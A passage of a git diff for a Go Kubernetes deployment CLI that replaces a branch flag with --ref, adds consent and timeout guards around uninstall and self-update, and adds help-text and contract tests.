resolvedRef() string { if f.Ref != "" { return f.Ref } - return f.GitHubBranch + return chartmodels.DefaultGitBranch } // extractInstallFlags extracts install flags from cobra command @@ -178,10 +180,6 @@ func extractInstallFlags(cmd *cobra.Command) (*InstallFlags, error) { return nil, err } - if flags.GitHubBranch, err = cmd.Flags().GetString("github-branch"); err != nil { - return nil, err - } - if flags.Ref, err = cmd.Flags().GetString("ref"); err != nil { return nil, err } @@ -220,8 +218,7 @@ func addInstallFlags(cmd *cobra.Command) { cmd.Flags().BoolP("force", "f", false, "Force installation even if charts already exist") cmd.Flags().Bool("dry-run", false, "Show what would be installed without executing") cmd.Flags().String("github-repo", chartmodels.RepoOSSTenant, "GitHub repository URL") - cmd.Flags().String("github-branch", chartmodels.DefaultGitBranch, "Git ref (branch or tag) to deploy") - cmd.Flags().StringP("ref", "r", "", "Git ref (branch or release tag, e.g. v1.2.3) to deploy; supersedes --github-branch") + cmd.Flags().StringP("ref", "r", "", "Git ref (branch or release tag, e.g. v1.2.3) to deploy") cmd.Flags().String("cert-dir", "", "Certificate directory (auto-detected if not provided)") cmd.Flags().Bool("non-interactive", false, "Skip all prompts, use existing openframe-helm-values.yaml") cmd.Flags().StringP("context", "c", "", "Kube-context to install into (skips interactive selection)") diff --git a/cmd/app/install_test.go b/cmd/app/install_test.go index dc7dfd7a..adee554c 100644 --- a/cmd/app/install_test.go +++ b/cmd/app/install_test.go @@ -50,7 +50,7 @@ func TestInstallCommandHelp(t *testing.T) { // Test that help contains expected content assert.Contains(t, cmd.Short, "Install ArgoCD") - assert.Contains(t, cmd.Long, "ArgoCD (version 10.1.1)") + assert.Contains(t, cmd.Long, "ArgoCD (version 10.1.3)") assert.Contains(t, cmd.Long, "openframe app install") assert.Contains(t, cmd.Long, "openframe app install my-cluster") } @@ -91,26 +91,25 @@ func TestInstallCommandFlagHandling(t *testing.T) { name: "default flags", flags: map[string]string{}, expectedArgs: InstallFlags{ - Force: false, - DryRun: false, - GitHubRepo: "https://github.com/flamingo-stack/openframe-oss-tenant", - GitHubBranch: "main", - CertDir: "", + Force: false, + DryRun: false, + GitHubRepo: "https://github.com/flamingo-stack/openframe-oss-tenant", + CertDir: "", }, }, { - name: "dry run with custom branch", + name: "dry run with custom ref", flags: map[string]string{ - "dry-run": "true", - "force": "true", - "github-branch": "develop", + "dry-run": "true", + "force": "true", + "ref": "develop", }, expectedArgs: InstallFlags{ - Force: true, - DryRun: true, - GitHubRepo: "https://github.com/flamingo-stack/openframe-oss-tenant", - GitHubBranch: "develop", - CertDir: "", + Force: true, + DryRun: true, + GitHubRepo: "https://github.com/flamingo-stack/openframe-oss-tenant", + Ref: "develop", + CertDir: "", }, }, } @@ -133,17 +132,16 @@ func TestInstallCommandFlagHandling(t *testing.T) { } } -// TestResolvedRef proves --ref supersedes --github-branch, and --github-branch -// (default "main") is used when --ref is absent. +// TestResolvedRef proves --ref is used when set, and the default platform +// branch ("main") when absent. func TestResolvedRef(t *testing.T) { cases := []struct { name string flags InstallFlags expect string }{ - {"github-branch only", InstallFlags{GitHubBranch: "main"}, "main"}, + {"no ref -> default branch", InstallFlags{}, "main"}, {"ref only", InstallFlags{Ref: "v1.2.3"}, "v1.2.3"}, - {"ref wins over branch", InstallFlags{GitHubBranch: "develop", Ref: "v1.2.3"}, "v1.2.3"}, } for _, tc := range cases { t.Run(tc.name, func(t *testing.T) { @@ -155,18 +153,17 @@ func TestResolvedRef(t *testing.T) { // TestExtractInstallFlags_Ref confirms the --ref flag is wired end-to-end. func TestExtractInstallFlags_Ref(t *testing.T) { cmd := getInstallCmd() - require.NoError(t, cmd.Flags().Set("github-branch", "develop")) require.NoError(t, cmd.Flags().Set("ref", "v2.0.0")) flags, err := extractInstallFlags(cmd) require.NoError(t, err) assert.Equal(t, "v2.0.0", flags.Ref) - assert.Equal(t, "v2.0.0", flags.resolvedRef(), "ref supersedes github-branch") + assert.Equal(t, "v2.0.0", flags.resolvedRef()) } -// TestBuildInstallRequest_RefExplicit proves an explicitly set --ref/--github-branch -// marks the request GitHubRefExplicit (so it wins over the helm-values branch), -// and a bare invocation does not. +// TestBuildInstallRequest_RefExplicit proves an explicitly set --ref marks the +// request GitHubRefExplicit (so it wins over the helm-values branch), and a +// bare invocation does not. func TestBuildInstallRequest_RefExplicit(t *testing.T) { // --ref set → explicit. cmd := getInstallCmd() @@ -179,16 +176,7 @@ func TestBuildInstallRequest_RefExplicit(t *testing.T) { assert.True(t, req.GitHubRefExplicit, "--ref must set GitHubRefExplicit") assert.Equal(t, "v1.2.3", req.GitHubBranch) - // --github-branch set → explicit. - cmdB := getInstallCmd() - require.NoError(t, cmdB.Flags().Set("dry-run", "true")) - require.NoError(t, cmdB.Flags().Set("github-branch", "develop")) - flagsB, _ := extractInstallFlags(cmdB) - reqB, err := buildInstallRequest(cmdB, nil, flagsB, false, "Installing") - require.NoError(t, err) - assert.True(t, reqB.GitHubRefExplicit, "--github-branch must set GitHubRefExplicit") - - // Neither set → not explicit (values-file branch keeps precedence). + // No ref set → not explicit (values-file branch keeps precedence). cmdC := getInstallCmd() require.NoError(t, cmdC.Flags().Set("dry-run", "true")) flagsC, _ := extractInstallFlags(cmdC) @@ -248,11 +236,11 @@ func TestRunInstallCommand(t *testing.T) { // Test flag extraction functionality cmd.Flags().Set("dry-run", "true") cmd.Flags().Set("force", "true") - cmd.Flags().Set("github-branch", "develop") + cmd.Flags().Set("ref", "develop") flags, err := extractInstallFlags(cmd) assert.NoError(t, err, "Should extract flags without error") assert.True(t, flags.DryRun, "Should extract dry-run flag correctly") assert.True(t, flags.Force, "Should extract force flag correctly") - assert.Equal(t, "develop", flags.GitHubBranch, "Should extract github-branch flag correctly") + assert.Equal(t, "develop", flags.Ref, "Should extract ref flag correctly") } diff --git a/cmd/app/uninstall.go b/cmd/app/uninstall.go index 1a811915..8247a9b6 100644 --- a/cmd/app/uninstall.go +++ b/cmd/app/uninstall.go @@ -47,8 +47,10 @@ func runUninstallCommand(cmd *cobra.Command, _ []string) error { } if !skipConfirm { - ok, err := ui.ConfirmActionInteractive( - fmt.Sprintf("Remove ArgoCD and all OpenFrame apps from %s? The cluster itself is kept.", target), false) + // Destructive: in a non-interactive session this fails fast with a --yes + // hint instead of blocking on (or worse, auto-answering) a prompt. + ok, err := ui.RequireConfirmation( + fmt.Sprintf("Remove ArgoCD and all OpenFrame apps from %s? The cluster itself is kept.", target), "--yes", false) if err != nil { return sharedErrors.HandleGlobalError(err, verbose) } diff --git a/cmd/app/upgrade.go b/cmd/app/upgrade.go index 2cd88e57..f023387a 100644 --- a/cmd/app/upgrade.go +++ b/cmd/app/upgrade.go @@ -64,18 +64,26 @@ func runUpgradeCommand(cmd *cobra.Command, args []string) error { } verbose := getVerboseFlag(cmd) sync, _ := cmd.Flags().GetBool("sync") + refChanged := cmd.Flags().Changed("ref") - if upgradeIsChangeRef(cmd.Flags().Changed("ref"), cmd.Flags().Changed("github-branch"), sync) { + // The modes are mutually exclusive. Silently preferring --sync used to + // force-sync the CURRENT ref and discard an explicit --ref — the user + // believed they had deployed the new version (audit F5/T1-9). + if refChanged && sync { + return fmt.Errorf("--ref and --sync are mutually exclusive: --ref deploys a new ref (Mode 1), --sync re-syncs the current ref (Mode 2); drop one of them") + } + + if upgradeIsChangeRef(refChanged, sync) { return runUpgradeChangeRef(cmd, args, flags, verbose) } return runUpgradeForceSync(cmd, args, flags, verbose) } -// upgradeIsChangeRef decides the upgrade mode: a changed --ref/--github-branch -// means "deploy this ref" (Mode 1); otherwise, or when --sync is explicit, -// force-sync the current ref (Mode 2). -func upgradeIsChangeRef(refChanged, branchChanged, sync bool) bool { - return (refChanged || branchChanged) && !sync +// upgradeIsChangeRef decides the upgrade mode: a changed --ref means "deploy +// this ref" (Mode 1); otherwise force-sync the current ref (Mode 2). The +// conflicting combination is rejected before this is called. +func upgradeIsChangeRef(refChanged, sync bool) bool { + return refChanged && !sync } // runUpgradeChangeRef re-deploys the platform at a new ref using the EXISTING @@ -90,6 +98,13 @@ func runUpgradeChangeRef(cmd *cobra.Command, args []string, flags *InstallFlags, if err != nil { return sharedErrors.HandleGlobalError(err, verbose) } + // An upgrade must never run against an empty values map: helm would replace + // the release values with chart defaults, wiping registry credentials and + // ingress settings (audit F3). Fresh installs keep defaults-with-warning. + req.RequireExistingValues = true + // Children with autoSync disabled never roll the new ref out themselves — + // let the wait sync them once progress stalls instead of timing out (N3). + req.SyncStragglersOnStall = true pterm.Info.Printf("Upgrading OpenFrame to ref %q\n", flags.resolvedRef()) if err := services.InstallChartsWithConfigContext(cmd.Context(), req); err != nil { diff --git a/cmd/app/upgrade_test.go b/cmd/app/upgrade_test.go index a43122ab..b2464802 100644 --- a/cmd/app/upgrade_test.go +++ b/cmd/app/upgrade_test.go @@ -8,28 +8,38 @@ import ( ) // TestUpgradeIsChangeRef locks the Mode 1 (change-ref) vs Mode 2 (force-sync) -// decision: any ref/branch change selects Mode 1 unless --sync forces Mode 2; -// a bare invocation defaults to Mode 2. +// decision: a ref/branch change selects Mode 1; a bare invocation defaults to +// Mode 2. The --ref + --sync combination never reaches this function — it is +// rejected up front (F5 guard below). func TestUpgradeIsChangeRef(t *testing.T) { cases := []struct { - name string - refChanged, branchChanged bool - sync bool - wantChangeRef bool + name string + refChanged bool + sync bool + wantChangeRef bool }{ - {"bare -> force-sync", false, false, false, false}, - {"--sync -> force-sync", false, false, true, false}, - {"--ref -> change-ref", true, false, false, true}, - {"--github-branch -> change-ref", false, true, false, true}, - {"--ref with --sync -> force-sync", true, false, true, false}, + {"bare -> force-sync", false, false, false}, + {"--sync -> force-sync", false, true, false}, + {"--ref -> change-ref", true, false, true}, } for _, tc := range cases { t.Run(tc.name, func(t *testing.T) { - assert.Equal(t, tc.wantChangeRef, upgradeIsChangeRef(tc.refChanged, tc.branchChanged, tc.sync)) + assert.Equal(t, tc.wantChangeRef, upgradeIsChangeRef(tc.refChanged, tc.sync)) }) } } +// TestUpgradeRejectsRefWithSync is the F5 regression guard: `upgrade --ref X +// --sync` used to silently discard --ref and force-sync the CURRENT ref — the +// user believed X was deployed. The combination must be rejected loudly. +func TestUpgradeRejectsRefWithSync(t *testing.T) { + cmd := getUpgradeCmd() + cmd.SetArgs([]string{"--ref=v1.2.3", "--sync"}) + err := cmd.Execute() + require.Error(t, err, "--ref with --sync must be rejected") + assert.Contains(t, err.Error(), "mutually exclusive") +} + // TestUpgradeCommandShape verifies the command is wired with RunE and the --sync // flag alongside the shared install flags. func TestUpgradeCommandShape(t *testing.T) { diff --git a/cmd/cluster/cleanup.go b/cmd/cluster/cleanup.go index 0926ca50..cebace2f 100644 --- a/cmd/cluster/cleanup.go +++ b/cmd/cluster/cleanup.go @@ -3,9 +3,12 @@ package cluster import ( "fmt" + "github.com/flamingo-stack/openframe-cli/internal/chart/providers/argocd" "github.com/flamingo-stack/openframe-cli/internal/cluster/models" "github.com/flamingo-stack/openframe-cli/internal/cluster/ui" "github.com/flamingo-stack/openframe-cli/internal/cluster/utils" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/pterm/pterm" "github.com/spf13/cobra" ) @@ -75,19 +78,29 @@ func runCleanupCluster(cmd *cobra.Command, args []string) error { return fmt.Errorf("failed to detect cluster type: %w", err) } - // Execute cluster cleanup through service layer - err = service.CleanupCluster(cmd.Context(), clusterName, clusterType, utils.GetGlobalFlags().Global.Verbose, utils.GetGlobalFlags().Cleanup.Force) + // Inject the ArgoCD-backed application cleaner (composition root: only the + // command layer may import both the cluster and the chart subsystems). + // Without it, cleanup skips the Application delete/finalizer-strip phases and + // the argocd namespace can stay stuck in Terminating. Best-effort: a cluster + // that is unreachable or has no ArgoCD simply cleans up without it. + if cfg, cerr := service.GetRestConfig(clusterName); cerr == nil { + if mgr, merr := argocd.NewManagerWithConfig(executor.NewRealCommandExecutor(false, globalFlags.Global.Verbose), cfg); merr == nil { + service = service.WithApplicationCleaner(mgr) + } else if globalFlags.Global.Verbose { + pterm.Warning.Printf("ArgoCD cleanup unavailable: %v\n", merr) + } + } else if globalFlags.Global.Verbose { + pterm.Warning.Printf("Cluster not reachable for ArgoCD cleanup: %v\n", cerr) + } + + // Execute cluster cleanup through service layer. A nil error with failed + // phases is a partial cleanup: the summary names what was left behind. + result, err := service.CleanupCluster(cmd.Context(), clusterName, clusterType, utils.GetGlobalFlags().Global.Verbose, utils.GetGlobalFlags().Cleanup.Force) if err != nil { operationsUI.ShowOperationError("cleanup", clusterName, err) return err } - // Show friendly success message - operationsUI.ShowOperationSuccess("cleanup", clusterName) + operationsUI.ShowCleanupSummary(clusterName, result) return nil } - -// GetCleanupCmdForTesting returns the cleanup command for testing purposes -func GetCleanupCmdForTesting() *cobra.Command { - return getCleanupCmd() -} diff --git a/cmd/cluster/create.go b/cmd/cluster/create.go index ed43e157..52129e5a 100644 --- a/cmd/cluster/create.go +++ b/cmd/cluster/create.go @@ -23,9 +23,10 @@ By default, shows a selection menu where you can choose: 1. Quick start with defaults (press Enter) - creates cluster with default settings 2. Interactive configuration wizard - step-by-step cluster customization -Creates a local cluster for OpenFrame development. Existing clusters -with the same name will be recreated. Use bootstrap command to install -OpenFrame components after creation. +Creates a local cluster for OpenFrame development. If a cluster with the same +name already exists it is left untouched and reused — delete it first to start +from scratch. Use the bootstrap command to install OpenFrame components after +creation. Examples: openframe cluster create # Show creation mode selection diff --git a/cmd/cluster/create_test.go b/cmd/cluster/create_test.go index 86660508..d84d695d 100644 --- a/cmd/cluster/create_test.go +++ b/cmd/cluster/create_test.go @@ -1,6 +1,7 @@ package cluster import ( + "strings" "testing" "github.com/flamingo-stack/openframe-cli/internal/cluster/utils" @@ -21,3 +22,18 @@ func TestCreateCommand(t *testing.T) { testutil.TestClusterCommand(t, "create", getCreateCmd, setupFunc, teardownFunc) } + +// TestCreateHelp_DoesNotPromiseRecreation (M2.5): the help text used to say +// existing clusters "will be recreated". CreateCluster does the opposite — it +// warns, reuses the existing cluster, and returns its rest.Config. A user who +// trusted the help would think a stale cluster had been rebuilt. +func TestCreateHelp_DoesNotPromiseRecreation(t *testing.T) { + long := getCreateCmd().Long + + if strings.Contains(long, "recreated") { + t.Errorf("create --help must not promise recreation; CreateCluster reuses an existing cluster:\n%s", long) + } + if !strings.Contains(long, "reused") { + t.Errorf("create --help must state that an existing cluster is reused:\n%s", long) + } +} diff --git a/cmd/contract_test.go b/cmd/contract_test.go index 10a3f15f..83f9c6df 100644 --- a/cmd/contract_test.go +++ b/cmd/contract_test.go @@ -30,8 +30,9 @@ func TestRootContract_TopLevelSubcommands(t *testing.T) { root := GetRootCmd(VersionInfo{Version: "t", Commit: "t", Date: "t"}) // Subset check (cobra may inject help/completion), so assert each is present - // rather than an exact count. - for _, name := range []string{"cluster", "app", "bootstrap", "prerequisites"} { + // rather than an exact count. `update` is here too: it rewrites the running + // binary, so its surface must never drift or vanish unnoticed. + for _, name := range []string{"cluster", "app", "bootstrap", "prerequisites", "update"} { testutil.FindSubcommand(t, root, name) } } diff --git a/cmd/help_matrix_test.go b/cmd/help_matrix_test.go new file mode 100644 index 00000000..17bbd972 --- /dev/null +++ b/cmd/help_matrix_test.go @@ -0,0 +1,78 @@ +package cmd + +import ( + "bytes" + "strings" + "testing" + + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// These tests sweep the ENTIRE command tree, so every current and future +// command is covered automatically — no per-command test to forget. +// +// Contract per command: +// - ` --help` succeeds and prints a Usage section (help must never be +// blocked by prerequisite gates, cluster access, or the network); +// - it has a non-empty Short description (shown in the parent's command list); +// - every locally-declared flag has a non-empty usage string. + +// collectCommandPaths returns the arg-path of every command in the tree. +func collectCommandPaths(c *cobra.Command, prefix []string) [][]string { + var out [][]string + for _, sub := range c.Commands() { + if sub.Name() == "help" { + continue // cobra's built-in + } + path := append(append([]string{}, prefix...), sub.Name()) + out = append(out, path) + out = append(out, collectCommandPaths(sub, path)...) + } + return out +} + +func TestEveryCommand_HelpWorks(t *testing.T) { + paths := collectCommandPaths(GetRootCmd(DefaultVersionInfo), nil) + if len(paths) < 15 { + t.Fatalf("expected a substantial command tree, found only %d commands", len(paths)) + } + + for _, path := range paths { + t.Run(strings.Join(path, "_"), func(t *testing.T) { + // Fresh tree per execution: cobra commands carry parsed-flag state. + root := GetRootCmd(DefaultVersionInfo) + var buf bytes.Buffer + root.SetOut(&buf) + root.SetErr(&buf) + root.SetArgs(append(append([]string{}, path...), "--help")) + + if err := root.Execute(); err != nil { + t.Fatalf("%s --help failed: %v", strings.Join(path, " "), err) + } + out := buf.String() + if !strings.Contains(out, "Usage:") { + t.Errorf("%s --help printed no Usage section:\n%s", strings.Join(path, " "), out) + } + }) + } +} + +func TestEveryCommand_HasShortAndFlagUsages(t *testing.T) { + root := GetRootCmd(DefaultVersionInfo) + for _, path := range collectCommandPaths(root, nil) { + cmd, _, err := root.Find(path) + if err != nil { + t.Fatalf("find %v: %v", path, err) + } + name := strings.Join(path, " ") + if strings.TrimSpace(cmd.Short) == "" { + t.Errorf("%s: empty Short description", name) + } + cmd.LocalFlags().VisitAll(func(f *pflag.Flag) { + if strings.TrimSpace(f.Usage) == "" { + t.Errorf("%s: flag --%s has no usage text", name, f.Name) + } + }) + } +} diff --git a/cmd/root.go b/cmd/root.go index 915fe690..bc4aba36 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -77,9 +77,18 @@ operation for automation and power users.`, // Apply --silent before any command runs so it honors its contract // ("suppress all output except errors") across every subcommand. PersistentPreRunE: func(cmd *cobra.Command, args []string) error { - if s, _ := cmd.Flags().GetBool("silent"); s { + silent, _ := cmd.Flags().GetBool("silent") + if silent { ui.SetSilent() } + // --verbose enables pterm's Debug printer. Without this the ~35 + // pterm.Debug call sites across the codebase (executed helm/k3d + // command lines, ArgoCD wait internals, prerequisite decisions) + // print NOTHING, ever — the diagnostics were written but never + // reachable. --silent wins when both are given. + if v, _ := cmd.Flags().GetBool("verbose"); v && !silent { + pterm.EnableDebugMessages() + } return nil }, RunE: func(cmd *cobra.Command, args []string) error { @@ -149,7 +158,6 @@ func ExecuteWithVersion(versionInfo VersionInfo) error { } os.Exit(code) } - rootCmd := GetRootCmd(versionInfo) // Initialize configuration using service layer diff --git a/cmd/root_test.go b/cmd/root_test.go index f738fb00..2f671feb 100644 --- a/cmd/root_test.go +++ b/cmd/root_test.go @@ -1,9 +1,15 @@ package cmd import ( + "bytes" + "io" "os" + "path/filepath" + "strings" "testing" + "github.com/pterm/pterm" + "github.com/flamingo-stack/openframe-cli/internal/shared/config" "github.com/flamingo-stack/openframe-cli/internal/shared/ui" "github.com/flamingo-stack/openframe-cli/tests/testutil" @@ -78,8 +84,8 @@ func TestSystemService(t *testing.T) { t.Errorf("Initialize() should not error: %v", err) } - // Check that log directory exists - logDir := service.GetLogDirectory() + // Check that the default log directory exists + logDir := filepath.Join(os.TempDir(), "openframe-deployment-logs") if _, err := os.Stat(logDir); os.IsNotExist(err) { t.Error("Service should create log directory") } @@ -98,14 +104,53 @@ func TestVersionInfo(t *testing.T) { } } -func TestExecuteWithVersion(t *testing.T) { - // Test that ExecuteWithVersion function exists and can be called - defer func() { - if r := recover(); r != nil { - t.Errorf("ExecuteWithVersion should not panic: %v", r) +// TestVerboseEnablesDebugOutput (M1.2) locks the wiring that makes the ~36 +// pterm.Debug call sites reachable at all. pterm suppresses Debug unless +// PrintDebugMessages is set, and nothing in the CLI ever set it: every debug +// diagnostic in the codebase was written but unreachable. The assertion is on +// real output, not on the flag, so removing EnableDebugMessages fails here. +func TestVerboseEnablesDebugOutput(t *testing.T) { + restore := pterm.PrintDebugMessages + // The --silent probe below calls ui.SetSilent(), which permanently rewires + // pterm's package-level printers to io.Discard. Snapshot and restore them, + // or every later test in this binary silently loses its output. + info, success, warning, debug := pterm.Info, pterm.Success, pterm.Warning, pterm.Debug + basic, box := pterm.DefaultBasicText, pterm.DefaultBox + header, table := pterm.DefaultHeader, pterm.DefaultTable + t.Cleanup(func() { + pterm.PrintDebugMessages = restore + pterm.Info, pterm.Success, pterm.Warning, pterm.Debug = info, success, warning, debug + pterm.DefaultBasicText, pterm.DefaultBox = basic, box + pterm.DefaultHeader, pterm.DefaultTable = header, table + }) + + probe := func(args ...string) string { + pterm.DisableDebugMessages() + + root := GetRootCmd(DefaultVersionInfo) + root.SetOut(io.Discard) + root.SetErr(io.Discard) + root.SetArgs(args) + if err := root.Execute(); err != nil { + t.Fatalf("Execute(%v): %v", args, err) } - }() - // We can't actually execute it in tests, but we can verify the function exists - _ = ExecuteWithVersion + var buf bytes.Buffer + old := pterm.Debug + pterm.Debug = *pterm.Debug.WithWriter(&buf) + defer func() { pterm.Debug = old }() + pterm.Debug.Println("diagnostic line") + return buf.String() + } + + if out := probe("--verbose"); !strings.Contains(out, "diagnostic line") { + t.Errorf("--verbose must make pterm.Debug print; got %q", out) + } + if out := probe(); strings.Contains(out, "diagnostic line") { + t.Errorf("debug output must stay off by default; got %q", out) + } + // --silent means "nothing but errors"; it must win over --verbose. + if out := probe("--verbose", "--silent"); strings.Contains(out, "diagnostic line") { + t.Errorf("--silent must suppress debug output even with --verbose; got %q", out) + } } diff --git a/cmd/update/contract_test.go b/cmd/update/contract_test.go new file mode 100644 index 00000000..c455392c --- /dev/null +++ b/cmd/update/contract_test.go @@ -0,0 +1,47 @@ +package update + +import ( + "testing" + + "github.com/flamingo-stack/openframe-cli/tests/testutil" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// These tests freeze the public CLI contract of the `update` command tree. +// This surface is T0-critical — it replaces the running binary — so a renamed +// flag, a dropped shorthand, or a vanished subcommand must fail loudly here +// (audit B6: cmd/update previously had zero contract coverage). + +func TestUpdateContract_RootShape(t *testing.T) { + cmd := GetUpdateCmd("v1.0.0") + + assert.Equal(t, "update", cmd.Name()) + assert.Equal(t, "update [version]", cmd.Use, "the optional [version] arg (switch to a specific release) is part of the contract") + require.NotNil(t, cmd.RunE, "update must have a RunE") + + testutil.AssertSubcommands(t, cmd, "check", "rollback") + + testutil.AssertFlags(t, cmd, []testutil.FlagSpec{ + {Name: "yes", Shorthand: "y", Type: "bool", Default: "false"}, + {Name: "force", Type: "bool", Default: "false"}, + }) +} + +func TestUpdateContract_CheckFlags(t *testing.T) { + check := testutil.FindSubcommand(t, GetUpdateCmd("v1.0.0"), "check") + + require.NotNil(t, check.RunE, "check must have a RunE") + testutil.AssertFlags(t, check, []testutil.FlagSpec{ + {Name: "output", Shorthand: "o", Type: "string", Default: "text"}, + }) +} + +func TestUpdateContract_RollbackFlags(t *testing.T) { + rollback := testutil.FindSubcommand(t, GetUpdateCmd("v1.0.0"), "rollback") + + require.NotNil(t, rollback.RunE, "rollback must have a RunE") + testutil.AssertFlags(t, rollback, []testutil.FlagSpec{ + {Name: "yes", Shorthand: "y", Type: "bool", Default: "false"}, + }) +} diff --git a/cmd/update/update.go b/cmd/update/update.go index f9ce3f10..5db6d4ef 100644 --- a/cmd/update/update.go +++ b/cmd/update/update.go @@ -7,6 +7,7 @@ import ( "encoding/json" "fmt" "os" + "time" "github.com/flamingo-stack/openframe-cli/internal/shared/selfupdate" "github.com/flamingo-stack/openframe-cli/internal/shared/ui" @@ -73,7 +74,7 @@ func newCheckCmd(current string) *cobra.Command { Args: cobra.NoArgs, SilenceUsage: true, RunE: func(cmd *cobra.Command, _ []string) error { - u := selfupdate.Updater{Current: current, Client: selfupdate.Client{Token: os.Getenv("GITHUB_TOKEN")}} + u := selfupdate.Updater{Current: current, Client: selfupdate.Client{Token: selfupdate.GitHubToken()}} // Spinner only in human (text) mode — json/yaml must keep stdout clean. var sp *spinner.Spinner @@ -116,7 +117,12 @@ func newRollbackCmd(current string) *cobra.Command { func run(ctx context.Context, current, target string, assumeYes, force bool) error { u := selfupdate.Updater{ Current: current, - Client: selfupdate.Client{Token: os.Getenv("GITHUB_TOKEN")}, + Client: selfupdate.Client{Token: selfupdate.GitHubToken()}, + // Warnings must survive the spinner: they print above it, on stderr, so + // they stay on screen after the operation finishes and never mix into + // stdout. Routing them through the progress callback (as before) turned + // them into spinner text that the next step overwrote within a frame. + Warn: func(msg string) { pterm.Warning.WithWriter(os.Stderr).Println(msg) }, } sp := spinner.Start("Checking for updates...") st, rel, err := u.Check(ctx, target) @@ -136,9 +142,13 @@ func run(ctx context.Context, current, target string, assumeYes, force bool) err sp.Stop() // stop before the interactive confirm prompt // "Update", "Downgrade", or "Reinstall" depending on the target direction. + // Replacing the running binary needs explicit consent: interactively via the + // prompt, non-interactively via --yes. The old `!assumeYes && !IsNonInteractive()` + // guard silently AUTO-CONFIRMED in CI/piped sessions — inverted polarity. + // (Opt-in unattended updates go through OPENFRAME_AUTO_UPDATE, not this path.) verb := selfupdate.ChangeVerb(st.Current, rel.TagName) - if !assumeYes && !ui.IsNonInteractive() { - ok, err := ui.ConfirmActionInteractive(fmt.Sprintf("%s from %s to %s?", verb, st.Current, rel.TagName), true) + if !assumeYes { + ok, err := ui.RequireConfirmation(fmt.Sprintf("%s from %s to %s?", verb, st.Current, rel.TagName), "--yes", true) if err != nil { return err } @@ -148,8 +158,12 @@ func run(ctx context.Context, current, target string, assumeYes, force bool) err } } + // cmd.Context() is signal-cancelled but has no deadline; a stalled download + // would otherwise spin the spinner forever (Ctrl-C aside). + actx, acancel := context.WithTimeout(ctx, 15*time.Minute) + defer acancel() apply := spinner.Start(fmt.Sprintf("%s to %s...", verb, rel.TagName)) - if err := u.Apply(ctx, rel, func(msg string) { apply.UpdateText(msg) }); err != nil { + if err := u.Apply(actx, rel, func(msg string) { apply.UpdateText(msg) }); err != nil { apply.Fail(fmt.Sprintf("%s failed", verb)) return err } @@ -169,8 +183,10 @@ func runRollback(ctx context.Context, current string, assumeYes bool) error { if label == "" { label = "the previous version" // binary exists but couldn't report its version } - if !assumeYes && !ui.IsNonInteractive() { - confirmed, err := ui.ConfirmActionInteractive(fmt.Sprintf("Roll back from %s to %s?", current, label), true) + // Same consent rule as run(): never replace the binary in a non-interactive + // session without an explicit --yes. + if !assumeYes { + confirmed, err := ui.RequireConfirmation(fmt.Sprintf("Roll back from %s to %s?", current, label), "--yes", true) if err != nil { return err } diff --git a/docs/getting-started/first-steps.md b/docs/getting-started/first-steps.md index 1a39640d..51adda0e 100644 --- a/docs/getting-started/first-steps.md +++ b/docs/getting-started/first-steps.md @@ -49,10 +49,19 @@ openframe app access # print ArgoCD URL, admin creds, po openframe app uninstall -y # remove the deployment ``` -Key `app install` flags: `--github-repo`, `--github-branch`, `--ref/-r`, `--context/-c`, `--cert-dir`, `--non-interactive`, `--dry-run`, `--force/-f`. +Key `app install` flags: `--github-repo`, `--ref/-r`, `--context/-c`, `--cert-dir`, `--non-interactive`, `--dry-run`, `--force/-f`. `app install` deploys the OpenFrame platform app-of-apps — it does not install arbitrary charts. +> **Ref pinning caveat:** `--ref` pins the git ref for the app-of-apps clone +> and every child Application's `targetRevision`. The root `argocd-apps` +> Application itself, however, keeps the ref it was installed from — changes +> to the app-of-apps chart *itself* on a feature ref are applied at install +> time but are not self-tracked by ArgoCD afterwards. During an upgrade the +> platform briefly passes through a mixed-ref window while children roll over; +> applications with `autoSync` disabled are synced automatically by the CLI +> when progress stalls (or run `openframe app upgrade --sync`). + ## Access ArgoCD ```bash diff --git a/go.mod b/go.mod index d1b8b078..fee54696 100644 --- a/go.mod +++ b/go.mod @@ -9,9 +9,10 @@ require ( github.com/pterm/pterm v0.12.83 github.com/sigstore/sigstore-go v1.2.2 github.com/spf13/cobra v1.10.2 + github.com/spf13/pflag v1.0.10 github.com/stretchr/testify v1.11.1 - golang.org/x/mod v0.37.0 - golang.org/x/term v0.44.0 + golang.org/x/mod v0.38.0 + golang.org/x/term v0.45.0 gopkg.in/yaml.v3 v3.0.1 k8s.io/api v0.36.2 k8s.io/apiextensions-apiserver v0.36.2 @@ -22,62 +23,62 @@ require ( require ( atomicgo.dev/cursor v0.2.0 // indirect - atomicgo.dev/keyboard v0.2.9 // indirect + atomicgo.dev/keyboard v0.2.10 // indirect atomicgo.dev/schedule v0.1.0 // indirect - dario.cat/mergo v1.0.0 // indirect + dario.cat/mergo v1.0.2 // indirect github.com/Microsoft/go-winio v0.6.2 // indirect - github.com/ProtonMail/go-crypto v1.1.6 // indirect + github.com/ProtonMail/go-crypto v1.4.1 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect github.com/blang/semver v3.5.1+incompatible // indirect github.com/cenkalti/backoff/v5 v5.0.3 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/chzyer/readline v1.5.1 // indirect github.com/clipperhouse/uax29/v2 v2.7.0 // indirect - github.com/cloudflare/circl v1.6.3 // indirect + github.com/cloudflare/circl v1.6.4 // indirect github.com/containerd/console v1.0.5 // indirect github.com/cyberphone/json-canonicalization v0.0.0-20241213102144-19d51d7fe467 // indirect - github.com/cyphar/filepath-securejoin v0.6.1 // indirect + github.com/cyphar/filepath-securejoin v0.7.0 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect - github.com/digitorus/pkcs7 v0.0.0-20230818184609-3a137a874352 // indirect - github.com/digitorus/timestamp v0.0.0-20231217203849-220c5c2851b7 // indirect + github.com/digitorus/pkcs7 v0.0.0-20250730155240-ffadbf3f398c // indirect + github.com/digitorus/timestamp v0.0.0-20250524132541-c45532741eea // indirect github.com/elastic/go-windows v1.0.2 // indirect github.com/emicklei/go-restful/v3 v3.13.0 // indirect github.com/emirpasic/gods v1.18.1 // indirect - github.com/fxamacker/cbor/v2 v2.9.0 // indirect + github.com/fxamacker/cbor/v2 v2.9.2 // indirect github.com/go-git/gcfg 